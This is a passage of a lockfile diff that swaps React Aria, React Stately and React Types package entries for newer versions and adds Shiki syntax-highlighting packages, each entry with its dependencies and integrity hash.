["@react-aria/utils@3.33.1", "", { "dependencies": { "@react-aria/ssr": "^3.9.10", "@react-stately/flags": "^3.1.2", "@react-stately/utils": "^3.11.0", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0", "clsx": "^2.0.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-kIx1Sj6bbAT0pdqCegHuPanR9zrLn5zMRiM7LN12rgRf55S19ptd9g3ncahArifYTRkfEU9VIn+q0HjfMqS9/w=="], - - "@react-aria/virtualizer": ["@react-aria/virtualizer@4.1.13", "", { "dependencies": { "@react-aria/i18n": "^3.12.16", "@react-aria/interactions": "^3.27.1", "@react-aria/utils": "^3.33.1", "@react-stately/virtualizer": "^4.4.6", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-d5KS+p8GXGNRbGPRE/N6jtth3et3KssQIz52h2+CAoAh7C3vvR64kkTaGdeywClvM+fSo8FxJuBrdfQvqC2ktQ=="], - - "@react-aria/visually-hidden": ["@react-aria/visually-hidden@3.8.31", "", { "dependencies": { "@react-aria/interactions": "^3.27.1", "@react-aria/utils": "^3.33.1", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-RTOHHa4n56a9A3criThqFHBifvZoV71+MCkSuNP2cKO662SUWjqKkd0tJt/mBRMEJPkys8K7Eirp6T8Wt5FFRA=="], - - "@react-stately/autocomplete": ["@react-stately/autocomplete@3.0.0-beta.4", "", { "dependencies": { "@react-stately/utils": "^3.11.0", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-K2Uy7XEdseFvgwRQ8CyrYEHMupjVKEszddOapP8deNz4hntYvT1aRm0m+sKa5Kl/4kvg9c/3NZpQcrky/vRZIg=="], - - "@react-stately/calendar": ["@react-stately/calendar@3.9.3", "", { "dependencies": { "@internationalized/date": "^3.12.0", "@react-stately/utils": "^3.11.0", "@react-types/calendar": "^3.8.3", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-uw7fCZXoypSBBUsVkbNvJMQWTihZReRbyLIGG3o/ZM630N3OCZhb/h4Uxke4pNu7n527H0V1bAnZgAldIzOYqg=="], - - "@react-stately/checkbox": ["@react-stately/checkbox@3.7.5", "", { "dependencies": { "@react-stately/form": "^3.2.4", "@react-stately/utils": "^3.11.0", "@react-types/checkbox": "^3.10.4", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-K5R5ted7AxLB3sDkuVAazUdyRMraFT1imVqij2GuAiOUFvsZvbuocnDuFkBVKojyV3GpqLBvViV8IaCMc4hNIw=="], - - "@react-stately/collections": ["@react-stately/collections@3.12.10", "", { "dependencies": { "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-wmF9VxJDyBujBuQ76vXj2g/+bnnj8fx5DdXgRmyfkkYhPB46+g2qnjbVGEvipo7bJuGxDftCUC4SN7l7xqUWfg=="], - - "@react-stately/color": ["@react-stately/color@3.9.5", "", { "dependencies": { "@internationalized/number": "^3.6.5", "@internationalized/string": "^3.2.7", "@react-stately/form": "^3.2.4", "@react-stately/numberfield": "^3.11.0", "@react-stately/slider": "^3.7.5", "@react-stately/utils": "^3.11.0", "@react-types/color": "^3.1.4", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-8pZxzXWDRuglzDwyTG7mLw2LQMCHIVNbVc9YmbsxbOjAL+lOqszo60KzyaFKVxeDQczSvrNTHcQZqlbNIC0eyQ=="], - - "@react-stately/combobox": ["@react-stately/combobox@3.13.0", "", { "dependencies": { "@react-stately/collections": "^3.12.10", "@react-stately/form": "^3.2.4", "@react-stately/list": "^3.13.4", "@react-stately/overlays": "^3.6.23", "@react-stately/utils": "^3.11.0", "@react-types/combobox": "^3.14.0", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-dX9g/cK1hjLRjcbWVF6keHxTQDGhKGB2QAgPhWcBmOK3qJv+2dQqsJ6YCGWn/Y2N2acoEseLrAA7+Qe4HWV9cg=="], - - "@react-stately/data": ["@react-stately/data@3.15.2", "", { "dependencies": { "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-BsmeeGgFwOGwo0g9Waprdyt+846n3KhKggZfpEnp5+sC4dE4uW1VIYpdyupMfr3bQcmX123q6TegfNP3eszrUA=="], - - "@react-stately/datepicker": ["@react-stately/datepicker@3.16.1", "", { "dependencies": { "@internationalized/date": "^3.12.0", "@internationalized/number": "^3.6.5", "@internationalized/string": "^3.2.7", "@react-stately/form": "^3.2.4", "@react-stately/overlays": "^3.6.23", "@react-stately/utils": "^3.11.0", "@react-types/datepicker": "^3.13.5", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-BtAMDvxd1OZxkxjqq5tN5TYmp6Hm8+o3+IDA4qmem2/pfQfVbOZeWS2WitcPBImj4n4T+W1A5+PI7mT/6DUBVg=="], - - "@react-stately/disclosure": ["@react-stately/disclosure@3.0.11", "", { "dependencies": { "@react-stately/utils": "^3.11.0", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-/KjB/0HkxGWbhFAPztCP411LUKZCx9k8cKukrlGqrUWyvrcXlmza90j0g/CuxACBoV+DJP9V+4q+8ide0x750A=="], - - "@react-stately/dnd": ["@react-stately/dnd@3.7.4", "", { "dependencies": { "@react-stately/selection": "^3.20.9", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-YD0TVR5JkvTqskc1ouBpVKs6t/QS4RYCIyu8Ug8RgO122iIizuf2pfKnRLjYMdu5lXzBXGaIgd49dvnLzEXHIw=="], - - "@react-stately/flags": ["@react-stately/flags@3.1.2", "", { "dependencies": { "@swc/helpers": "^0.5.0" } }, "sha512-2HjFcZx1MyQXoPqcBGALwWWmgFVUk2TuKVIQxCbRq7fPyWXIl6VHcakCLurdtYC2Iks7zizvz0Idv48MQ38DWg=="], - - "@react-stately/form": ["@react-stately/form@3.2.4", "", { "dependencies": { "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-qNBzun8SbLdgahryhKLqL1eqP+MXY6as82sVXYOOvUYLzgU5uuN8mObxYlxJgMI5akSdQJQV3RzyfVobPRE7Kw=="], - - "@react-stately/grid": ["@react-stately/grid@3.11.9", "", { "dependencies": { "@react-stately/collections": "^3.12.10", "@react-stately/selection": "^3.20.9", "@react-types/grid": "^3.3.8", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-qQY6F+27iZRn30dt0ZOrSetUmbmNJ0pLe9Weuqw3+XDVSuWT+2O/rO1UUYeK+mO0Acjzdv+IWiYbu9RKf2wS9w=="], - - "@react-stately/layout": ["@react-stately/layout@4.6.0", "", { "dependencies": { "@react-stately/collections": "^3.12.10", "@react-stately/table": "^3.15.4", "@react-stately/virtualizer": "^4.4.6", "@react-types/grid": "^3.3.8", "@react-types/shared": "^3.33.1", "@react-types/table": "^3.13.6", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-kBenEsP03nh5rKgfqlVMPcoKTJv0v92CTvrAb5gYY8t9g8LOwzdL89Yannq7f5xv8LFck/MmRQlotpMt2InETg=="], - - "@react-stately/list": ["@react-stately/list@3.13.4", "", { "dependencies": { "@react-stately/collections": "^3.12.10", "@react-stately/selection": "^3.20.9", "@react-stately/utils": "^3.11.0", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-HHYSjA9VG7FPSAtpXAjQyM/V7qFHWGg88WmMrDt5QDlTBexwPuH0oFLnW0qaVZpAIxuWIsutZfxRAnme/NhhAA=="], - - "@react-stately/menu": ["@react-stately/menu@3.9.11", "", { "dependencies": { "@react-stately/overlays": "^3.6.23", "@react-types/menu": "^3.10.7", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-vYkpO9uV2OUecsIkrOc+Urdl/s1xw/ibNH/UXsp4PtjMnS6mK9q2kXZTM3WvMAKoh12iveUO+YkYCZQshmFLHQ=="], - - "@react-stately/numberfield": ["@react-stately/numberfield@3.11.0", "", { "dependencies": { "@internationalized/number": "^3.6.5", "@react-stately/form": "^3.2.4", "@react-stately/utils": "^3.11.0", "@react-types/numberfield": "^3.8.18", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-rxfC047vL0LP4tanjinfjKAriAvdVL57Um5RUL5nHML8IOWCB3TBxegQkJ6to6goScC/oZhd0/Y2LSaiRuKbNw=="], - - "@react-stately/overlays": ["@react-stately/overlays@3.6.23", "", { "dependencies": { "@react-stately/utils": "^3.11.0", "@react-types/overlays": "^3.9.4", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-RzWxots9A6gAzQMP4s8hOAHV7SbJRTFSlQbb6ly1nkWQXacOSZSFNGsKOaS0eIatfNPlNnW4NIkgtGws5UYzfw=="], - - "@react-stately/radio": ["@react-stately/radio@3.11.5", "", { "dependencies": { "@react-stately/form": "^3.2.4", "@react-stately/utils": "^3.11.0", "@react-types/radio": "^3.9.4", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-QxA779S4ea5icQ0ja7CeiNzY1cj7c9G9TN0m7maAIGiTSinZl2Ia8naZJ0XcbRRp+LBll7RFEdekne15TjvS/w=="], - - "@react-stately/searchfield": ["@react-stately/searchfield@3.5.19", "", { "dependencies": { "@react-stately/utils": "^3.11.0", "@react-types/searchfield": "^3.6.8", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-URllgjbtTQEaOCfddbHpJSPKOzG3pE3ajQHJ7Df8qCoHTjKfL6hnm/vp7X5sxPaZaN7VLZ5kAQxTE8hpo6s0+A=="], - - "@react-stately/select": ["@react-stately/select@3.9.2", "", { "dependencies": { "@react-stately/form": "^3.2.4", "@react-stately/list": "^3.13.4", "@react-stately/overlays": "^3.6.23", "@react-stately/utils": "^3.11.0", "@react-types/select": "^3.12.2", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-oWn0bijuusp8YI7FRM/wgtPVqiIrgU/ZUfLKe/qJUmT8D+JFaMAJnyrAzKpx98TrgamgtXynF78ccpopPhgrKQ=="], - - "@react-stately/selection": ["@react-stately/selection@3.20.9", "", { "dependencies": { "@react-stately/collections": "^3.12.10", "@react-stately/utils": "^3.11.0", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-RhxRR5Wovg9EVi3pq7gBPK2BoKmP59tOXDMh2r1PbnGevg/7TNdR67DCEblcmXwHuBNS46ELfKdd0XGHqmS8nQ=="], - - "@react-stately/slider": ["@react-stately/slider@3.7.5", "", { "dependencies": { "@react-stately/utils": "^3.11.0", "@react-types/shared": "^3.33.1", "@react-types/slider": "^3.8.4", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-OrQMNR5xamLYH52TXtvTgyw3EMwv+JI+1istQgEj1CHBjC9eZZqn5iNCN20tzm+uDPTH0EIGULFjjPIumqYUQg=="], - - "@react-stately/table": ["@react-stately/table@3.15.4", "", { "dependencies": { "@react-stately/collections": "^3.12.10", "@react-stately/flags": "^3.1.2", "@react-stately/grid": "^3.11.9", "@react-stately/selection": "^3.20.9", "@react-stately/utils": "^3.11.0", "@react-types/grid": "^3.3.8", "@react-types/shared": "^3.33.1", "@react-types/table": "^3.13.6", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-fGaNyw3wv7JgRCNzgyDzpaaTFuSy5f4Qekch4UheMXDJX7dOeaMhUXeOfvnXCVg+BGM4ey/D82RvDOGvPy1Nww=="], - - "@react-stately/tabs": ["@react-stately/tabs@3.8.9", "", { "dependencies": { "@react-stately/list": "^3.13.4", "@react-types/shared": "^3.33.1", "@react-types/tabs": "^3.3.22", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-AQ4Xrn6YzIolaVShCV9cnwOjBKPAOGP/PTp7wpSEtQbQ0HZzUDG2RG/M4baMeUB2jZ33b7ifXyPcK78o0uOftg=="], - - "@react-stately/toast": ["@react-stately/toast@3.1.3", "", { "dependencies": { "@swc/helpers": "^0.5.0", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-mT9QJKmD523lqFpOp0VWZ6QHZENFK7HrodnNJDVc7g616s5GNmemdlkITV43fSY3tHeThCVvPu+Uzh7RvQ9mpQ=="], + "@react-aria/color": ["@react-aria/color@3.2.1", "", { "dependencies": { "@swc/helpers": "^0.5.0", "react-aria": "^3.48.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-v/pZh1yBNeayQ5Kio0xRIX0gBf6uu+KjCRW4QSydTyRpmhvk6sMzHT9i9/vIMdaDHaYHBXlXF+Tp/mvS9CG4Zw=="], - "@react-stately/toggle": ["@react-stately/toggle@3.9.5", "", { "dependencies": { "@react-stately/utils": "^3.11.0", "@react-types/checkbox": "^3.10.4", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-PVzXc788q3jH98Kvw1LYDL+wpVC14dCEKjOku8cSaqhEof6AJGaLR9yq+EF1yYSL2dxI6z8ghc0OozY8WrcFcA=="], + "@react-aria/ssr": ["@react-aria/ssr@3.10.1", "", { "dependencies": { "@swc/helpers": "^0.5.0", "react-aria": "^3.48.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-jn038/ZYmu6DpfXJ6r2U9zFFppjbc9wnApPJSCxao2RZVEqep4YyoniHSy8qv6V21/xyS4IV7W9a+X2jOjSuag=="], - "@react-stately/tooltip": ["@react-stately/tooltip@3.5.11", "", { "dependencies": { "@react-stately/overlays": "^3.6.23", "@react-types/tooltip": "^3.5.2", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-o8PnFXbvDCuVZ4Ht9ahfS6KHwIZjXopvoQ2vUPxv920irdgWEeC+4omgDOnJ/xFvcpmmJAmSsrQsTQrTguDUQA=="], + "@react-aria/utils": ["@react-aria/utils@3.34.1", "", { "dependencies": { "@swc/helpers": "^0.5.0", "react-aria": "^3.48.0", "react-stately": "^3.46.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-H6+rGZL+0f58bBNaUMfctEnT+NogqwAk+nHiB8sR3K+YlQ37GTuCijy2U/pPvQtFMS5mURrjZeBH5JNNXsx14A=="], - "@react-stately/tree": ["@react-stately/tree@3.9.6", "", { "dependencies": { "@react-stately/collections": "^3.12.10", "@react-stately/selection": "^3.20.9", "@react-stately/utils": "^3.11.0", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-JCuhGyX2A+PAMsx2pRSwArfqNFZJ9JSPkDaOQJS8MFPAsBe5HemvXsdmv9aBIMzlbCYcVq6EsrFnzbVVTBt/6w=="], + "@react-spectrum/color": ["@react-spectrum/color@3.2.1", "", { "dependencies": { "@adobe/react-spectrum": "^3.47.0", "@swc/helpers": "^0.5.0", "react-stately": "^3.46.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-FbB+GaVufsN+obNJmUAe8XGZTeJjEWvEf/k/7nxDxoDCBdg/o6eEPONAZyID5Dj1f8BZKNym8VURxDZx7IIyuQ=="], - "@react-stately/utils": ["@react-stately/utils@3.11.0", "", { "dependencies": { "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-8LZpYowJ9eZmmYLpudbo/eclIRnbhWIJZ994ncmlKlouNzKohtM8qTC6B1w1pwUbiwGdUoyzLuQbeaIor5Dvcw=="], + "@react-spectrum/provider": ["@react-spectrum/provider@3.11.1", "", { "dependencies": { "@adobe/react-spectrum": "^3.47.0", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-TsoNdVdmlQ7L+75ILq5Yb3+wp/I1AtIeat0o+Y+ZBxP+TtWpwT1ZtCB5l3cplFVzHzOpZlzO0VaDrDP9ElGYDw=="], - "@react-stately/virtualizer": ["@react-stately/virtualizer@4.4.6", "", { "dependencies": { "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-9SfXgLFB61/8SXNLfg5ARx9jAK4m03Aw6/Cg8mdZN24SYarL4TKNRpfw8K/HHVU/bi6WHSJypk6Z/z19o/ztrg=="], + "@react-stately/color": ["@react-stately/color@3.10.1", "", { "dependencies": { "@swc/helpers": "^0.5.0", "react-stately": "^3.46.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-v4YlLa/oRQpPa/M9Yq1e0Bl8Z7xzGZdNDAIbfIMZuiJtacaOKriPW+AOgjjT/Ab0fNX2YDbwIYvkiMOJBnTi5A=="], - "@react-types/autocomplete": ["@react-types/autocomplete@3.0.0-alpha.38", "", { "dependencies": { "@react-types/combobox": "^3.14.0", "@react-types/searchfield": "^3.6.8", "@react-types/shared": "^3.33.1" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-0XrlVC8drzcrCNzybbkZdLcTofXEzBsHuaFevt5awW1J0xBJ+SMLIQMDeUYrvKjjwXUBlCtjJJpOvitGt4Z+KA=="], + "@react-stately/utils": ["@react-stately/utils@3.12.1", "", { "dependencies": { "@swc/helpers": "^0.5.0", "react-stately": "^3.46.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-NqKfzrknpfwiewx7R2vk1P+CneClInPDsIhw15+jOcUYSEfej0nta4cJywuKQJ2gsPwqX/ojDNixedCve9FWGw=="], - "@react-types/breadcrumbs": ["@react-types/breadcrumbs@3.7.19", "", { "dependencies": { "@react-types/link": "^3.6.7", "@react-types/shared": "^3.33.1" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-AnkyYYmzaM2QFi/N0P/kQLM8tHOyFi7p397B/jEMucXDfwMw5Ny1ObCXeIEqbh8KrIa2Xp8SxmQlCV+8FPs4LA=="], + "@react-types/color": ["@react-types/color@3.2.0", "", { "dependencies": { "@react-aria/color": "^3.2.0", "@react-spectrum/color": "^3.2.0", "@react-stately/color": "^3.10.0" }, "peerDependencies": { "@react-spectrum/provider": "^3.0.0", "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-beV3vz80nzZ1EuYUM7296Kyi3AHcMrbQw0qub/9yzHWVTKKc5sy/e4dCMKcWL/ArkeAyc7jDOiui190RQ4l0Fw=="], - "@react-types/button": ["@react-types/button@3.15.1", "", { "dependencies": { "@react-types/shared": "^3.33.1" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-M1HtsKreJkigCnqceuIT22hDJBSStbPimnpmQmsl7SNyqCFY3+DHS7y/Sl3GvqCkzxF7j9UTL0dG38lGQ3K4xQ=="], + "@react-types/shared": ["@react-types/shared@3.36.1", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-AzsuD9OfxTOZMMvTRhlN3oHBwOmFN7tDh27LzqmHt4+uOgPhJT7ZM7/kVs/8/o0WxayMUIk3hBmCFRHv1FUoag=="], - "@react-types/calendar": ["@react-types/calendar@3.8.3", "", { "dependencies": { "@internationalized/date": "^3.12.0", "@react-types/shared": "^3.33.1" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-fpH6WNXotzH0TlKHXXxtjeLZ7ko0sbyHmwDAwmDFyP7T0Iwn1YQZ+lhceLifvynlxuOgX6oBItyUKmkHQ0FouQ=="], + "@shikijs/core": ["@shikijs/core@4.5.0", "", { "dependencies": { "@shikijs/primitive": "4.5.0", "@shikijs/types": "4.5.0", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.5", "hast-util-to-html": "^9.0.5" } }, "sha512-6CIgwq+bt2JZ3OSjb/nBkkwEf/CfpHcbam+Mg5Pllco7HAGRQ2/EFhZrrJtbyNTgKwknfVS+llsXGygiDGwJWw=="], - "@react-types/checkbox": ["@react-types/checkbox@3.10.4", "", { "dependencies": { "@react-types/shared": "^3.33.1" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-tYCG0Pd1usEz5hjvBEYcqcA0youx930Rss1QBIse9TgMekA1c2WmPDNupYV8phpO8Zuej3DL1WfBeXcgavK8aw=="], + "@shikijs/engine-javascript": ["@shikijs/engine-javascript@4.5.0", "", { "dependencies": { "@shikijs/types": "4.5.0", "@shikijs/vscode-textmate": "^10.0.2", "oniguruma-to-es": "^4.3.6" } }, "sha512-Ed6UdEj84LyYkwnxM5CvSMWAD+id9ExTYri0/+x41U9zrgNifPSS9lZm0JqBP0VfYI8yr8tY5nbNq9+p9R0kFA=="], - "@react-types/color": ["@react-types/color@3.1.4", "", { "dependencies": { "@react-types/shared": "^3.33.1", "@react-types/slider": "^3.8.4" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-s+Xj4pvNBlJPpQ1Gr7bO1j4/tuwMUfdS9xIVFuiW5RvDsSybKTUJ/gqPzTxms94VDCRhLFocVn2STNdD2Erf6A=="], + "@shikijs/engine-oniguruma": ["@shikijs/engine-oniguruma@4.5.0", "", { "dependencies": { "@shikijs/types": "4.5.0", "@shikijs/vscode-textmate": "^10.0.2" } }, "sha512-dKVmbJecVdB9recl8a/CU4jdpNXyjJQrIcesIkpS70s5HS02ohpnCSpMUbotPnEUzbAcLQ+S4hwZYbkBBiTcJw=="], - "@react-types/combobox": ["@react-types/combobox@3.14.0", "", { "dependencies": { "@react-types/shared": "^3.33.1" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-zmSSS7BcCOD8rGT8eGbVy7UlL5qq1vm88fFn4WgFe+lfK33ne+E7yTzTxcPY2TCGSo5fY6xMj3OG79FfVNGbSg=="], + "@shikijs/langs": ["@shikijs/langs@4.5.0", "", { "dependencies": { "@shikijs/types": "4.5.0" } }, "sha512-wwBTqwduXSz0X4v9Qa2EWeFaYJEw1clCncWjoRNQRbVDu3SPRTRWucnouYapKj3b8Q+sk/41Vbc4B5c8nuYzLA=="], - "@react-types/datepicker": ["@react-types/datepicker@3.13.5", "", { "dependencies": { "@internationalized/date": "^3.12.0", "@react-types/calendar": "^3.8.3", "@react-types/overlays": "^3.9.4", "@react-types/shared": "^3.33.1" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-j28Vz+xvbb4bj7+9Xbpc4WTvSitlBvt7YEaEGM/8ZQ5g4Jr85H2KwkmDwjzmMN2r6VMQMMYq9JEcemq5wWpfUQ=="], + "@shikijs/primitive": ["@shikijs/primitive@4.5.0", "", { "dependencies": { "@shikijs/types": "4.5.0", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.5" } }, "sha512-UM7ShlA8oz0OWxLLO8BmO9Ip6fVqdkt8yF0EH7nOCqHfrx1eEAzF0ZUVK7L+I8NEgeu1PEWSRlxaiPPeCb4iDg=="], - "@react-types/dialog": ["@react-types/dialog@3.5.24", "", { "dependencies": { "@react-types/overlays": "^3.9.4", "@react-types/shared": "^3.33.1" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-NFurEP/zV0dA/41422lV1t+0oh6f/13n+VmLHZG8R13m1J3ql/kAXZ49zBSqkqANBO1ojyugWebk99IiR4pYOw=="], - - "@react-types/form": ["@react-types/form@3.7.18", "", { "dependencies": { "@react-types/shared": "^3.33.1" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-0sBJW0+I9nJcF4SmKrYFEWAlehiebSTy7xqriqAXtqfTEdvzAYLGaAK2/7gx+wlNZeDTdW43CDRJ4XAhyhBqnw=="], - - "@react-types/grid": ["@react-types/grid@3.3.8", "", { "dependencies": { "@react-types/shared": "^3.33.1" }, "peerDependencies": { 